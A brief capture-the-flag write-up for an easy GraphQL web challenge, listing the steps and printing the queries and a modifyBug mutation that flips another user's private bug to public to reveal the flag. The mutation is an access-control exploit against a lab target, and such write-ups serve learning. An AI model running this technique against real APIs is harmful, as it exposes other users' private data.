![featured image](https://images.unsplash.com/photo-1504639725590-34d0984388bd?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=2000&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ) #### Skills: Web, GraphQL #### Difficulty: Easy ------------------------------------------------------------------------ ### Steps 1. Look at the schema docs like usual 2. Let\'s query all bugs first 3. My assumption here is that I\'m going to have to make a mutation in a later step but I\'m not sure when. As of now we only see 1 bug 4. Run a query with all bugs and all users. I notice that there are 2 users but only 1 bug so gotta explore more. 5. The users use to show the bugs\...ok let\'s look at the hints 6. ok so here is what I know: There is a victim bug, victim id is 2, the flag is in the text 7. I played around with mutation and got an ok changing both to id 1 & 2 not private 8. Run the all bugs query again 9. Flag found ```{=html} <!-- --> ``` { allBugs{ id, reporter { username }, text, private }, allUsers{ edges{ node{ id, username } } } } step 2 mutation{ modifyBug(id: 2, private: false){ ok bug{ id, text, reporter{ username } } } } step 7 { allBugs{ id, text, private, reporter{ username } } } step 8